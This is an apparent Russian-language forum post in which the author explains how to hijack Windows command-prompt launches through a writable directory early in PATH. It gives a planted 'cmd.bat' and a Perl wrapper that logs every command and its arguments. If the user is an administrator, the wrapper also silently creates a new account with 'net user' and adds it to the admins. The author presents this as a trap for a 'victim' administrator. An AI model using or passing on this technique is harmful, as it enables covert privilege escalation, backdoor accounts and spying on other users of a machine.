Привет! Решил тут поделиться... опытом 😉
Как-то сижу я, пишу скрипт на Perl'e. Ииз-за некоторой кривизны рук он никак не может найти модуль.
Сижу, думаю. Решил посмотреть path - бросилось мне в глаза, что всякие интерактивные среды разработок, типа Delphi, пихают себя в path раньше, чем там есть win_dir и
system_dir.
#1
Идем в первую директорию из path, создаем
там что-то типа "cmd.bat". Теперь при работе с command prompt (far, command.com, cmd) будет запускаться тот самый cmd.bat.
#2
Пишем простейшую программу, что скидывает в лог то, что вызвали и с какими параметрами, а потом запускаем то самое приложение, которое должно выполниться...
В результате:
cmd.bat
>perl program.pl C:\Windows\System32\cmd.exe %1 %2 ...
program.pl
>open FH, '>> log';
>print FH 'program ', $0, ' params ', @ARGV, "\n";
>my $command = join ' ', @ARGV;
>print `$command`;
Например так...
Вдоволь наизвращавшись со с скриптом, добавив timestamp, username и еще кучу всяких вкусностей, я понял, что нужно идти далее...
#3
Вставляем в прогу проверку user_name... на админа... 😉
и делаем, если это админ, например, "net user new_user new_pass /add" и делаем new_user админом.
Далее, создаем максимальное количество bat файлов с максимальным количеством команд.
Вдруг админ такой же маньяк, как и я, и слишком часто пользуется command prompt? 😉 вот тогда то он и поплачет...
Теперь ждем жертву, пускай он выполнит хоть одну команду в command prompt (far, command.com, cmd.exe) и больно бьем его по самолюбию 😉
С уважением, Иван Бахчеев.
